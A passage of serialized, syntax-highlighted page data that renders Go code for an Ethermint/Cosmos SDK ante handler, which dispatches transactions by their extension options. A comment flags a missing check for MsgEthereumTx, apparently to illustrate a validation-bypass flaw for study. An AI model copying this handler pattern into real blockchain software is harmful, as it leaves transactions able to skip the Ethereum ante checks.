}\n}\n",[81878],{"type":23,"tag":154,"props":81879,"children":81880},{"__ignoreMap":7},[81881,81897,81922,81946,81963,81988,82014,82039,82062,82078,82134,82175,82201,82208,82254,82261,82307,82323,82353,82388,82440,82457,82465,82472,82501,82517,82525,82551,82559,82566,82578,82612,82658,82670,82677,82684,82691,82730,82737,82744,82751,82759,82766,82790,82814,82842,82867,82875,82908,82915,82927,82958,83013,83026,83034,83042,83050,83090,83098],{"type":23,"tag":504,"props":81882,"children":81883},{"class":5016,"line":5017},[81884,81888,81893],{"type":23,"tag":504,"props":81885,"children":81886},{"style":5030},[81887],{"type":29,"value":78365},{"type":23,"tag":504,"props":81889,"children":81890},{"style":5139},[81891],{"type":29,"value":81892}," NewAnteHandler",{"type":23,"tag":504,"props":81894,"children":81895},{"style":5058},[81896],{"type":29,"value":5512},{"type":23,"tag":504,"props":81898,"children":81899},{"class":5016,"line":4868},[81900,81905,81910,81914,81918],{"type":23,"tag":504,"props":81901,"children":81902},{"style":5041},[81903],{"type":29,"value":81904},"    ak",{"type":23,"tag":504,"props":81906,"children":81907},{"style":5467},[81908],{"type":29,"value":81909}," evmtypes",{"type":23,"tag":504,"props":81911,"children":81912},{"style":5058},[81913],{"type":29,"value":357},{"type":23,"tag":504,"props":81915,"children":81916},{"style":5467},[81917],{"type":29,"value":81445},{"type":23,"tag":504,"props":81919,"children":81920},{"style":5058},[81921],{"type":29,"value":5557},{"type":23,"tag":504,"props":81923,"children":81924},{"class":5016,"line":4876},[81925,81930,81934,81938,81942],{"type":23,"tag":504,"props":81926,"children":81927},{"style":5041},[81928],{"type":29,"value":81929},"    bankKeeper",{"type":23,"tag":504,"props":81931,"children":81932},{"style":5467},[81933],{"type":29,"value":81909},{"type":23,"tag":504,"props":81935,"children":81936},{"style":5058},[81937],{"type":29,"value":357},{"type":23,"tag":504,"props":81939,"children":81940},{"style":5467},[81941],{"type":29,"value":81518},{"type":23,"tag":504,"props":81943,"children":81944},{"style":5058},[81945],{"type":29,"value":5557},{"type":23,"tag":504,"props":81947,"children":81948},{"class":5016,"line":5099},[81949,81954,81959],{"type":23,"tag":504,"props":81950,"children":81951},{"style":5041},[81952],{"type":29,"value":81953},"    evmKeeper",{"type":23,"tag":504,"props":81955,"children":81956},{"style":5467},[81957],{"type":29,"value":81958}," EVMKeeper",{"type":23,"tag":504,"props":81960,"children":81961},{"style":5058},[81962],{"type":29,"value":5557},{"type":23,"tag":504,"props":81964,"children":81965},{"class":5016,"line":5203},[81966,81971,81976,81980,81984],{"type":23,"tag":504,"props":81967,"children":81968},{"style":5041},[81969],{"type":29,"value":81970},"    feeGrantKeeper",{"type":23,"tag":504,"props":81972,"children":81973},{"style":5467},[81974],{"type":29,"value":81975}," authante",{"type":23,"tag":504,"props":81977,"children":81978},{"style":5058},[81979],{"type":29,"value":357},{"type":23,"tag":504,"props":81981,"children":81982},{"style":5467},[81983],{"type":29,"value":81535},{"type":23,"tag":504,"props":81985,"children":81986},{"style":5058},[81987],{"type":29,"value":5557},{"type":23,"tag":504,"props":81989,"children":81990},{"class":5016,"line":5308},[81991,81996,82001,82005,82010],{"type":23,"tag":504,"props":81992,"children":81993},{"style":5041},[81994],{"type":29,"value":81995},"    channelKeeper",{"type":23,"tag":504,"props":81997,"children":81998},{"style":5467},[81999],{"type":29,"value":82000}," channelkeeper",{"type":23,"tag":504,"props":82002,"children":82003},{"style":5058},[82004],{"type":29,"value":357},{"type":23,"tag":504,"props":82006,"children":82007},{"style":5467},[82008],{"type":29,"value":82009},"Keeper",{"type":23,"tag":504,"props":82011,"children":82012},{"style":5058},[82013],{"type":29,"value":5557},{"type":23,"tag":504,"props":82015,"children":82016},{"class":5016,"line":5336},[82017,82022,82027,82031,82035],{"type":23,"tag":504,"props":82018,"children":82019},{"style":5041},[82020],{"type":29,"value":82021},"    signModeHandler",{"type":23,"tag":504,"props":82023,"children":82024},{"style":5467},[82025],{"type":29,"value":82026}," authsigning",{"type":23,"tag":504,"props":82028,"children":82029},{"style":5058},[82030],{"type":29,"value":357},{"type":23,"tag":504,"props":82032,"children":82033},{"style":5467},[82034],{"type":29,"value":81703},{"type":23,"tag":504,"props":82036,"children":82037},{"style":5058},[82038],{"type":29,"value":5557},{"type":23,"tag":504,"props":82040,"children":82041},{"class":5016,"line":5349},[82042,82046,82050,82054,82058],{"type":23,"tag":504,"props":82043,"children":82044},{"style":5058},[82045],{"type":29,"value":5128},{"type":23,"tag":504,"props":82047,"children":82048},{"style":5467},[82049],{"type":29,"value":80794},{"type":23,"tag":504,"props":82051,"children":82052},{"style":5058},[82053],{"type":29,"value":357},{"type":23,"tag":504,"props":82055,"children":82056},{"style":5467},[82057],{"type":29,"value":80534},{"type":23,"tag":504,"props":82059,"children":82060},{"style":5058},[82061],{"type":29,"value":5333},{"type":23,"tag":504,"props":82063,"children":82064},{"class":5016,"line":5367},[82065,82069,82074],{"type":23,"tag":504,"props":82066,"children":82067},{"style":5067},[82068],{"type":29,"value":19037},{"type":23,"tag":504,"props":82070,"children":82071},{"style":5030},[82072],{"type":29,"value":82073}," func",{"type":23,"tag":504,"props":82075,"children":82076},{"style":5058},[82077],{"type":29,"value":5512},{"type":23,"tag":504,"props":82079,"children":82080},{"class":5016,"line":5388},[82081,82085,82089,82093,82097,82101,82105,82109,82113,82117,82121,82126,82130],{"type":23,"tag":504,"props":82082,"children":82083},{"style":5041},[82084],{"type":29,"value":28239},{"type":23,"tag":504,"props":82086,"children":82087},{"style":5467},[82088],{"type":29,"value":80705},{"type":23,"tag":504,"props":82090,"children":82091},{"style":5058},[82092],{"type":29,"value":357},{"type":23,"tag":504,"props":82094,"children":82095},{"style":5467},[82096],{"type":29,"value":78414},{"type":23,"tag":504,"props":82098,"children":82099},{"style":5058},[82100],{"type":29,"value":4367},{"type":23,"tag":504,"props":82102,"children":82103},{"style":5041},[82104],{"type":29,"value":81245},{"type":23,"tag":504,"props":82106,"children":82107},{"style":5467},[82108],{"type":29,"value":80705},{"type":23,"tag":504,"props":82110,"children":82111},{"style":5058},[82112],{"type":29,"value":357},{"type":23,"tag":504,"props":82114,"children":82115},{"style":5467},[82116],{"type":29,"value":80738},{"type":23,"tag":504,"props":82118,"children":82119},{"style":5058},[82120],{"type":29,"value":4367},{"type":23,"tag":504,"props":82122,"children":82123},{"style":5041},[82124],{"type":29,"value":82125},"sim",{"type":23,"tag":504,"props":82127,"children":82128},{"style":5467},[82129],{"type":29,"value":14096},{"type":23,"tag":504,"props":82131,"children":82132},{"style":5058},[82133],{"type":29,"value":5557},{"type":23,"tag":504,"props":82135,"children":82136},{"class":5016,"line":5397},[82137,82142,82147,82151,82155,82159,82163,82167,82171],{"type":23,"tag":504,"props":82138,"children":82139},{"style":5058},[82140],{"type":29,"value":82141},"    ) (",{"type":23,"tag":504,"props":82143,"children":82144},{"style":5041},[82145],{"type":29,"value":82146},"newCtx",{"type":23,"tag":504,"props":82148,"children":82149},{"style":5467},[82150],{"type":29,"value":80705},{"type":23,"tag":504,"props":82152,"children":82153},{"style":5058},[82154],{"type":29,"value":357},{"type":23,"tag":504,"props":82156,"children":82157},{"style":5467},[82158],{"type":29,"value":78414},{"type":23,"tag":504,"props":82160,"children":82161},{"style":5058},[82162],{"type":29,"value":4367},{"type":23,"tag":504,"props":82164,"children":82165},{"style":5041},[82166],{"type":29,"value":50483},{"type":23,"tag":504,"props":82168,"children":82169},{"style":5467},[82170],{"type":29,"value":16923},{"type":23,"tag":504,"props":82172,"children":82173},{"style":5058},[82174],{"type":29,"value":16850},{"type":23,"tag":504,"props":82176,"children":82177},{"class":5016,"line":5649},[82178,82183,82188,82192,82196],{"type":23,"tag":504,"props":82179,"children":82180},{"style":5030},[82181],{"type":29,"value":82182},"        var",{"type":23,"tag":504,"props":82184,"children":82185},{"style":5041},[82186],{"type":29,"value":82187}," anteHandler",{"type":23,"tag":504,"props":82189,"children":82190},{"style":5467},[82191],{"type":29,"value":80705},{"type":23,"tag":504,"props":82193,"children":82194},{"style":5058},[82195],{"type":29,"value":357},{"type":23,"tag":504,"props":82197,"children":82198},{"style":5467},[82199],{"type":29,"value":82200},"AnteHandler\n",{"type":23,"tag":504,"props":82202,"children":82203},{"class":5016,"line":5666},[82204],{"type":23,"tag":504,"props":82205,"children":82206},{"emptyLinePlaceholder":15},[82207],{"type":29,"value":5734},{"type":23,"tag":504,"props":82209,"children":82210},{"class":5016,"line":5683},[82211,82216,82221,82225,82229,82233,82238,82242,82246,82250],{"type":23,"tag":504,"props":82212,"children":82213},{"style":5067},[82214],{"type":29,"value":82215},"        defer",{"type":23,"tag":504,"props":82217,"children":82218},{"style":5139},[82219],{"type":29,"value":82220}," Recover",{"type":23,"tag":504,"props":82222,"children":82223},{"style":5058},[82224],{"type":29,"value":603},{"type":23,"tag":504,"props":82226,"children":82227},{"style":5041},[82228],{"type":29,"value":22333},{"type":23,"tag":504,"props":82230,"children":82231},{"style":5058},[82232],{"type":29,"value":357},{"type":23,"tag":504,"props":82234,"children":82235},{"style":5139},[82236],{"type":29,"value":82237},"Logger",{"type":23,"tag":504,"props":82239,"children":82240},{"style":5058},[82241],{"type":29,"value":20425},{"type":23,"tag":504,"props":82243,"children":82244},{"style":5047},[82245],{"type":29,"value":5151},{"type":23,"tag":504,"props":82247,"children":82248},{"style":5041},[82249],{"type":29,"value":50483},{"type":23,"tag":504,"props":82251,"children":82252},{"style":5058},[82253],{"type":29,"value":5200},{"type":23,"tag":504,"props":82255,"children":82256},{"class":5016,"line":5696},[82257],{"type":23,"tag":504,"props":82258,"children":82259},{"emptyLinePlaceholder":15},[82260],{"type":29,"value":5734},{"type":23,"tag":504,"props":82262,"children":82263},{"class":5016,"line":5705},[82264,82269,82273,82277,82281,82285,82289,82294,82298,82303],{"type":23,"tag":504,"props":82265,"children":82266},{"style":5041},[82267],{"type":29,"value":82268},"        txWithExtensions",{"type":23,"tag":504,"props":82270,"children":82271},{"style":5058},[82272],{"type":29,"value":4367},{"type":23,"tag":504,"props":82274,"children":82275},{"style":5041},[82276],{"type":29,"value":80831},{"type":23,"tag":504,"props":82278,"children":82279},{"style":5047},[82280],{"type":29,"value":78481},{"type":23,"tag":504,"props":82282,"children":82283},{"style":5041},[82284],{"type":29,"value":70091},{"type":23,"tag":504,"props":82286,"children":82287},{"style":5058},[82288],{"type":29,"value":80844},{"type":23,"tag":504,"props":82290,"children":82291},{"style":5467},[82292],{"type":29,"value":82293},"authante",{"type":23,"tag":504,"props":82295,"children":82296},{"style":5058},[82297],{"type":29,"value":357},{"type":23,"tag":504,"props":82299,"children":82300},{"style":5467},[82301],{"type":29,"value":82302},"HasExtensionOptionsTx",{"type":23,"tag":504,"props":82304,"children":82305},{"style":5058},[82306],{"type":29,"value":5200},{"type":23,"tag":504,"props":82308,"children":82309},{"class":5016,"line":5728},[82310,82314,82319],{"type":23,"tag":504,"props":82311,"children":82312},{"style":5067},[82313],{"type":29,"value":5314},{"type":23,"tag":504,"props":82315,"children":82316},{"style":5041},[82317],{"type":29,"value":82318}," ok",{"type":23,"tag":504,"props":82320,"children":82321},{"style":5058},[82322],{"type":29,"value":5333},{"type":23,"tag":504,"props":82324,"children":82325},{"class":5016,"line":5737},[82326,82331,82335,82340,82344,82349],{"type":23,"tag":504,"props":82327,"children":82328},{"style":5041},[82329],{"type":29,"value":82330},"            opts",{"type":23,"tag":504,"props":82332,"children":82333},{"style":5047},[82334],{"type":29,"value":78481},{"type":23,"tag":504,"props":82336,"children":82337},{"style":5041},[82338],{"type":29,"value":82339}," txWithExtensions",{"type":23,"tag":504,"props":82341,"children":82342},{"style":5058},[82343],{"type":29,"value":357},{"type":23,"tag":504,"props":82345,"children":82346},{"style":5139},[82347],{"type":29,"value":82348},"GetExtensionOptions",{"type":23,"tag":504,"props":82350,"children":82351},{"style":5058},[82352],{"type":29,"value":9780},{"type":23,"tag":504,"props":82354,"children":82355},{"class":5016,"line":5746},[82356,82360,82364,82368,82372,82376,82380,82384],{"type":23,"tag":504,"props":82357,"children":82358},{"style":5067},[82359],{"type":29,"value":60862},{"type":23,"tag":504,"props":82361,"children":82362},{"style":5139},[82363],{"type":29,"value":10603},{"type":23,"tag":504,"props":82365,"children":82366},{"style":5058},[82367],{"type":29,"value":603},{"type":23,"tag":504,"props":82369,"children":82370},{"style":5041},[82371],{"type":29,"value":50625},{"type":23,"tag":504,"props":82373,"children":82374},{"style":5058},[82375],{"type":29,"value":5128},{"type":23,"tag":504,"props":82377,"children":82378},{"style":5047},[82379],{"type":29,"value":12508},{"type":23,"tag":504,"props":82381,"children":82382},{"style":5083},[82383],{"type":29,"value":5086},{"type":23,"tag":504,"props":82385,"children":82386},{"style":5058},[82387],{"type":29,"value":5333},{"type":23,"tag":504,"props":82389,"children":82390},{"class":5016,"line":5813},[82391,82396,82401,82405,82410,82414,82418,82422,82427,82431,82436],{"type":23,"tag":504,"props":82392,"children":82393},{"style":5067},[82394],{"type":29,"value":82395},"                switch",{"type":23,"tag":504,"props":82397,"children":82398},{"style":5041},[82399],{"type":29,"value":82400}," typeURL",{"type":23,"tag":504,"props":82402,"children":82403},{"style":5047},[82404],{"type":29,"value":78481},{"type":23,"tag":504,"props":82406,"children":82407},{"style":5041},[82408],{"type":29,"value":82409}," opts",{"type":23,"tag":504,"props":82411,"children":82412},{"style":5058},[82413],{"type":29,"value":1380},{"type":23,"tag":504,"props":82415,"children":82416},{"style":5083},[82417],{"type":29,"value":708},{"type":23,"tag":504,"props":82419,"children":82420},{"style":5058},[82421],{"type":29,"value":52412},{"type":23,"tag":504,"props":82423,"children":82424},{"style":5139},[82425],{"type":29,"value":82426},"GetTypeUrl",{"type":23,"tag":504,"props":82428,"children":82429},{"style":5058},[82430],{"type":29,"value":30502},{"type":23,"tag":504,"props":82432,"children":82433},{"style":5041},[82434],{"type":29,"value":82435},"typeURL",{"type":23,"tag":504,"props":82437,"children":82438},{"style":5058},[82439],{"type":29,"value":5333},{"type":23,"tag":504,"props":82441,"children":82442},{"class":5016,"line":5821},[82443,82448,82453],{"type":23,"tag":504,"props":82444,"children":82445},{"style":5067},[82446],{"type":29,"value":82447},"                case",{"type":23,"tag":504,"props":82449,"children":82450},{"style":6297},[82451],{"type":29,"value":82452}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":504,"props":82454,"children":82455},{"style":5058},[82456],{"type":29,"value":7613},{"type":23,"tag":504,"props":82458,"children":82459},{"class":5016,"line":5851},[82460],{"type":23,"tag":504,"props":82461,"children":82462},{"style":5021},[82463],{"type":29,"value":82464},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":504,"props":82466,"children":82467},{"class":5016,"line":5859},[82468],{"type":23,"tag":504,"props":82469,"children":82470},{"emptyLinePlaceholder":15},[82471],{"type":29,"value":5734},{"type":23,"tag":504,"props":82473,"children":82474},{"class":5016,"line":5891},[82475,82480,82484,82488,82492,82497],{"type":23,"tag":504,"props":82476,"children":82477},{"style":5041},[82478],{"type":29,"value":82479},"                    anteHandler",{"type":23,"tag":504,"props":82481,"children":82482},{"style":5047},[82483],{"type":29,"value":5050},{"type":23,"tag":504,"props":82485,"children":82486},{"style":5041},[82487],{"type":29,"value":80705},{"type":23,"tag":504,"props":82489,"children":82490},{"style":5058},[82491],{"type":29,"value":357},{"type":23,"tag":504,"props":82493,"children":82494},{"style":5139},[82495],{"type":29,"value":82496},"ChainAnteDecorators",{"type":23,"tag":504,"props":82498,"children":82499},{"style":5058},[82500],{"type":29,"value":5512},{"type":23,"tag":504,"props":82502,"children":82503},{"class":5016,"line":5899},[82504,82509,82513],{"type":23,"tag":504,"props":82505,"children":82506},{"style":5139},[82507],{"type":29,"value":82508},"                        NewEthSetUpContextDecorator",{"type":23,"tag":504,"props":82510,"children":82511},{"style":5058},[82512],{"type":29,"value":20425},{"type":23,"tag":504,"props":82514,"children":82515},{"style":5021},[82516],{"type":29,"value":81359},{"type":23,"tag":504,"props":82518,"children":82519},{"class":5016,"line":5959},[82520],{"type":23,"tag":504,"props":82521,"children":82522},{"style":5047},[82523],{"type":29,"value":82524},"                        ...\n",{"type":23,"tag":504,"props":82526,"children":82527},{"class":5016,"line":11093},[82528,82533,82537,82542,82546],{"type":23,"tag":504,"props":82529,"children":82530},{"style":5139},[82531],{"type":29,"value":82532},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":504,"props":82534,"children":82535},{"style":5058},[82536],{"type":29,"value":603},{"type":23,"tag":504,"props":82538,"children":82539},{"style":5041},[82540],{"type":29,"value":82541},"ak",{"type":23,"tag":504,"props":82543,"children":82544},{"style":5058},[82545],{"type":29,"value":17224},{"type":23,"tag":504,"props":82547,"children":82548},{"style":5021},[82549],{"type":29,"value":82550},"// innermost AnteDecorator.\n",{"type":23,"tag":504,"props":82552,"children":82553},{"class":5016,"line":11111},[82554],{"type":23,"tag":504,"props":82555,"children":82556},{"style":5058},[82557],{"type":29,"value":82558},"                    )\n",{"type":23,"tag":504,"props":82560,"children":82561},{"class":5016,"line":11156},[82562],{"type":23,"tag":504,"props":82563,"children":82564},{"emptyLinePlaceholder":15},[82565],{"type":29,"value":5734},{"type":23,"tag":504,"props":82567,"children":82568},{"class":5016,"line":11262},[82569,82574],{"type":23,"tag":504,"props":82570,"children":82571},{"style":5067},[82572],{"type":29,"value":82573},"                default",{"type":23,"tag":504,"props":82575,"children":82576},{"style":5058},[82577],{"type":29,"value":7613},{"type":23,"tag":504,"props":82579,"children":82580},{"class":5016,"line":25550},[82581,82586,82590,82594,82599,82603,82608],{"type":23,"tag":504,"props":82582,"children":82583},{"style":5067},[82584],{"type":29,"value":82585},"                    return",{"type":23,"tag":504,"props":82587,"children":82588},{"style":5041},[82589],{"type":29,"value":27896},{"type":23,"tag":504,"props":82591,"children":82592},{"style":5058},[82593],{"type":29,"value":4367},{"type":23,"tag":504,"props":82595,"children":82596},{"style":5041},[82597],{"type":29,"value":82598},"stacktrace",{"type":23,"tag":504,"props":82600,"children":82601},{"style":5058},[82602],{"type":29,"value":357},{"type":23,"tag":504,"props":82604,"children":82605},{"style":5139},[82606],{"type":29,"value":82607},"Propagate",{"type":23,"tag":504,"props":82609,"children":82610},{"style":5058},[82611],{"type":29,"value":5512},{"type":23,"tag":504,"props":82613,"children":82614},{"class":5016,"line":25585},[82615,82620,82624,82628,82632,82637,82641,82646,82650,82654],{"type":23,"tag":504,"props":82616,"children":82617},{"style":5041},[82618],{"type":29,"value":82619},"                        sdkerrors",{"type":23,"tag":504,"props":82621,"children":82622},{"style":5058},[82623],{"type":29,"value":357},{"type":23,"tag":504,"props":82625,"children":82626},{"style":5139},[82627],{"type":29,"value":80910},{"type":23,"tag":504,"props":82629,"children":82630},{"style":5058},[82631],{"type":29,"value":603},{"type":23,"tag":504,"props":82633,"children":82634},{"style":5041},[82635],{"type":29,"value":82636},"sdkerrors",{"type":23,"tag":504,"props":82638,"children":82639},{"style":5058},[82640],{"type":29,"value":357},{"type":23,"tag":504,"props":82642,"children":82643},{"style":5041},[82644],{"type":29,"value":82645},"ErrUnknownExtensionOptions",{"type":23,"tag":504,"props":82647,"children":82648},{"style":5058},[82649],{"type":29,"value":4367},{"type":23,"tag":504,"props":82651,"children":82652},{"style":5041},[82653],{"type":29,"value":82435},{"type":23,"tag":504,"props":82655,"children":82656},{"style":5058},[82657],{"type":29,"value":8780},{"type":23,"tag":504,"props":82659,"children":82660},{"class":5016,"line":25593},[82661,82666],{"type":23,"tag":504,"props":82662,"children":82663},{"style":6297},[82664],{"type":29,"value":82665},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":504,"props":82667,"children":82668},{"style":5058},[82669],{"type":29,"value":5557},{"type":23,"tag":504,"props":82671,"children":82672},{"class":5016,"line":25601},[82673],{"type":23,"tag":504,"props":82674,"children":82675},{"style":5058},[82676],{"type":29,"value":82558},{"type":23,"tag":504,"props":82678,"children":82679},{"class":5016,"line":25610},[82680],{"type":23,"tag":504,"props":82681,"children":82682},{"style":5058},[82683],{"type":29,"value":73134},{"type":23,"tag":504,"props":82685,"children":82686},{"class":5016,"line":25652},[82687],{"type":23,"tag":504,"props":82688,"children":82689},{"emptyLinePlaceholder":15},[82690],{"type":29,"value":5734},{"type":23,"tag":504,"props":82692,"children":82693},{"class":5016,"line":25685},[82694,82698,82702,82706,82710,82714,82718,82722,82726],{"type":23,"tag":504,"props":82695,"children":82696},{"style":5067},[82697],{"type":29,"value":62790},{"type":23,"tag":504,"props":82699,"children":82700},{"style":5139},[82701],{"type":29,"value":82187},{"type":23,"tag":504,"props":82703,"children":82704},{"style":5058},[82705],{"type":29,"value":603},{"type":23,"tag":504,"props":82707,"children":82708},{"style":5041},[82709],{"type":29,"value":22333},{"type":23,"tag":504,"props":82711,"children":82712},{"style":5058},[82713],{"type":29,"value":4367},{"type":23,"tag":504,"props":82715,"children":82716},{"style":5041},[82717],{"type":29,"value":81245},{"type":23,"tag":504,"props":82719,"children":82720},{"style":5058},[82721],{"type":29,"value":4367},{"type":23,"tag":504,"props":82723,"children":82724},{"style":5041},[82725],{"type":29,"value":82125},{"type":23,"tag":504,"props":82727,"children":82728},{"style":5058},[82729],{"type":29,"value":5200},{"type":23,"tag":504,"props":82731,"children":82732},{"class":5016,"line":25693},[82733],{"type":23,"tag":504,"props":82734,"children":82735},{"style":5058},[82736],{"type":29,"value":60946},{"type":23,"tag":504,"props":82738,"children":82739},{"class":5016,"line":25701},[82740],{"type":23,"tag":504,"props":82741,"children":82742},{"style":5058},[82743],{"type":29,"value":5394},{"type":23,"tag":504,"props":82745,"children":82746},{"class":5016,"line":25710},[82747],{"type":23,"tag":504,"props":82748,"children":82749},{"emptyLinePlaceholder":15},[82750],{"type":29,"value":5734},{"type":23,"tag":504,"props":82752,"children":82753},{"class":5016,"line":25786},[82754],{"type":23,"tag":504,"props":82755,"children":82756},{"style":5021},[82757],{"type":29,"value":82758},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":504,"props":82760,"children":82761},{"class":5016,"line":25819},[82762],{"type":23,"tag":504,"props":82763,"children":82764},{"emptyLinePlaceholder":15},[82765],{"type":29,"value":5734},{"type":23,"tag":504,"props":82767,"children":82768},{"class":5016,"line":25827},[82769,82774,82778,82782,82786],{"type":23,"tag":504,"props":82770,"children":82771},{"style":5067},[82772],{"type":29,"value":82773},"        switch",{"type":23,"tag":504,"props":82775,"children":82776},{"style":5041},[82777],{"type":29,"value":70091},{"type":23,"tag":504,"props":82779,"children":82780},{"style":5058},[82781],{"type":29,"value":80844},{"type":23,"tag":504,"props":82783,"children":82784},{"style":5030},[82785],{"type":29,"value":34812},{"type":23,"tag":504,"props":82787,"children":82788},{"style":5058},[82789],{"type":29,"value":16850},{"type":23,"tag":504,"props":82791,"children":82792},{"class":5016,"line":25835},[82793,82798,82802,82806,82810],{"type":23,"tag":504,"props":82794,"children":82795},{"style":5067},[82796],{"type":29,"value":82797},"        case",{"type":23,"tag":504,"props":82799,"children":82800},{"style":5467},[82801],{"type":29,"value":80705},{"type":23,"tag":504,"props":82803,"children":82804},{"style":5058},[82805],{"type":29,"value":357},{"type":23,"tag":504,"props":82807,"children":82808},{"style":5467},[82809],{"type":29,"value":80738},{"type":23,"tag":504,"props":82811,"children":82812},{"style":5058},[82813],{"type":29,"value":7613},{"type":23,"tag":504,"props":82815,"children":82816},{"class":5016,"line":25872},[82817,82822,82826,82830,82834,82838],{"type":23,"tag":504,"props":82818,"children":82819},{"style":5041},[82820],{"type":29,"value":82821},"            anteHandler",{"type":23,"tag":504,"props":82823,"children":82824},{"style":5047},[82825],{"type":29,"value":5050},{"type":23,"tag":504,"props":82827,"children":82828},{"style":5041},[82829],{"type":29,"value":80705},{"type":23,"tag":504,"props":82831,"children":82832},{"style":5058},[82833],{"type":29,"value":357},{"type":23,"tag":504,"props":82835,"children":82836},{"style":5139},[82837],{"type":29,"value":82496},{"type":23,"tag":504,"props":82839,"children":82840},{"style":5058},[82841],{"type":29,"value":5512},{"type":23,"tag":504,"props":82843,"children":82844},{"class":5016,"line":25885},[82845,82850,82854,82859,82863],{"type":23,"tag":504,"props":82846,"children":82847},{"style":5041},[82848],{"type":29,"value":82849},"                authante",{"type":23,"tag":504,"props":82851,"children":82852},{"style":5058},[82853],{"type":29,"value":357},{"type":23,"tag":504,"props":82855,"children":82856},{"style":5139},[82857],{"type":29,"value":82858},"NewSetUpContextDecorator",{"type":23,"tag":504,"props":82860,"children":82861},{"style":5058},[82862],{"type":29,"value":20425},{"type":23,"tag":504,"props":82864,"children":82865},{"style":5021},[82866],{"type":29,"value":81359},{"type":23,"tag":504,"props":82868,"children":82869},{"class":5016,"line":25898},[82870],{"type":23,"tag":504,"props":82871,"children":82872},{"style":5047},[82873],{"type":29,"value":82874},"                 ...\n",{"type":23,"tag":504,"props":82876,"children":82877},{"class":5016,"line":25911},[82878,82882,82886,82891,82895,82899,82903],{"type":23,"tag":504,"props":82879,"children":82880},{"style":5041},[82881],{"type":29,"value":82849},{"type":23,"tag":504,"props":82883,"children":82884},{"style":5058},[82885],{"type":29,"value":357},{"type":23,"tag":504,"props":82887,"children":82888},{"style":5139},[82889],{"type":29,"value":82890},"NewIncrementSequenceDecorator",{"type":23,"tag":504,"props":82892,"children":82893},{"style":5058},[82894],{"type":29,"value":603},{"type":23,"tag":504,"props":82896,"children":82897},{"style":5041},[82898],{"type":29,"value":82541},{"type":23,"tag":504,"props":82900,"children":82901},{"style":5058},[82902],{"type":29,"value":17224},{"type":23,"tag":504,"props":82904,"children":82905},{"style":5021},[82906],{"type":29,"value":82907},"// innermost AnteDecorator\n",{"type":23,"tag":504,"props":82909,"children":82910},{"class":5016,"line":25965},[82911],{"type":23,"tag":504,"props":82912,"children":82913},{"style":5058},[82914],{"type":29,"value":79579},{"type":23,"tag":504,"props":82916,"children":82917},{"class":5016,"line":25974},[82918,82923],{"type":23,"tag":504,"props":82919,"children":82920},{"style":5067},[82921],{"type":29,"value":82922},"        default",{"type":23,"tag":504,"props":82924,"children":82925},{"style":5058},[82926],{"type":29,"value":7613},{"type":23,"tag":504,"props":82928,"children":82929},{"class":5016,"line":34336},[82930,82934,82938,82942,82946,82950,82954],{"type":23,"tag":504,"props":82931,"children":82932},{"style":5067},[82933],{"type":29,"value":81140},{"type":23,"tag":504,"props":82935,"children":82936},{"style":5041},[82937],{"type":29,"value":27896},{"type":23,"tag":504,"props":82939,"children":82940},{"style":5058},[82941],{"type":29,"value":4367},{"type":23,"tag":504,"props":82943,"children":82944},{"style":5041},[82945],{"type":29,"value":82598},{"type":23,"tag":504,"props":82947,"children":82948},{"style":5058},[82949],{"type":29,"value":357},{"type":23,"tag":504,"props":82951,"children":82952},{"style":5139},[82953],{"type":29,"value":82607},{"type":23,"tag":504,"props":82955,"children":82956},{"style":5058},[82957],{"type":29,"value":5512},{"type":23,"tag":504,"props":82959,"children":82960},{"class":5016,"line":34357},[82961,82966,82970,82975,82979,82983,82987,82992,82996,83001,83005,83009],{"type":23,"tag":504,"props":82962,"children":82963},{"style":5041},[82964],{"type":29,"value":82965},"                sdkerrors",{"type":23,"tag":504,"props":82967,"children":82968},{"style":5058},[82969],{"type":29,"value":357},{"type":23,"tag":504,"props":82971,"children":82972},{"style":5139},[82973],{"type":29,"value":82974},"Wrapf",{"type":23,"tag":504,"props":82976,"children":82977},{"style":5058},[82978],{"type":29,"value":603},{"type":23,"tag":504,"props":82980,"children":82981},{"style":5041},[82982],{"type":29,"value":82636},{"type":23,"tag":504,"props":82984,"children":82985},{"style":5058},[82986],{"type":29,"value":357},{"type":23,"tag":504,"props":82988,"children":82989},{"style":5041},[82990],{"type":29,"value":82991},"ErrUnknownRequest",{"type":23,"tag":504,"props":82993,"children":82994},{"style":5058},[82995],{"type":29,"value":4367},{"type":23,"tag":504,"props":82997,"children":82998},{"style":6297},[82999],{"type":29,"value":83000},"\"invalid transaction type: %T\"",{"type":23,"tag":504,"props":83002,"children":83003},{"style":5058},[83004],{"type":29,"value":4367},{"type":23,"tag":504,"props":83006,"children":83007},{"style":5041},[83008],{"type":29,"value":81245},{"type":23,"tag":504,"props":83010,"children":83011},{"style":5058},[83012],{"type":29,"value":8780},{"type":23,"tag":504,"props":83014,"children":83016},{"class":5016,"line":83015},53,[83017,83022],{"type":23,"tag":504,"props":83018,"children":83019},{"style":6297},[83020],{"type":29,"value":83021},"                \"transaction is not an SDK tx\"",{"type":23,"tag":504,"props":83023,"children":83024},{"style":5058},[83025],{"type":29,"value":5557},{"type":23,"tag":504,"props":83027,"children":83029},{"class":5016,"line":83028},54,[83030],{"type":23,"tag":504,"props":83031,"children":83032},{"style":5058},[83033],{"type":29,"value":79579},{"type":23,"tag":504,"props":83035,"children":83037},{"class":5016,"line":83036},55,[83038],{"type":23,"tag":504,"props":83039,"children":83040},{"style":5058},[83041],{"type":29,"value":5394},{"type":23,"tag":504,"props":83043,"children":83045},{"class":5016,"line":83044},56,[83046],{"type":23,"tag":504,"props":83047,"children":83048},{"emptyLinePlaceholder":15},[83049],{"type":29,"value":5734},{"type":23,"tag":504,"props":83051,"children":83053},{"class":5016,"line":83052},57,[83054,83058,83062,83066,83070,83074,83078,83082,83086],{"type":23,"tag":504,"props":83055,"children":83056},{"style":5067},[83057],{"type":29,"value":17791},{"type":23,"tag":504,"props":83059,"children":83060},{"style":5139},[83061],{"type":29,"value":82187},{"type":23,"tag":504,"props":83063,"children":83064},{"style":5058},[83065],{"type":29,"value":603},{"type":23,"tag":504,"props":83067,"children":83068},{"style":5041},[83069],{"type":29,"value":22333},{"type":23,"tag":504,"props":83071,"children":83072},{"style":5058},[83073],{"type":29,"value":4367},{"type":23,"tag":504,"props":83075,"children":83076},{"style":5041},[83077],{"type"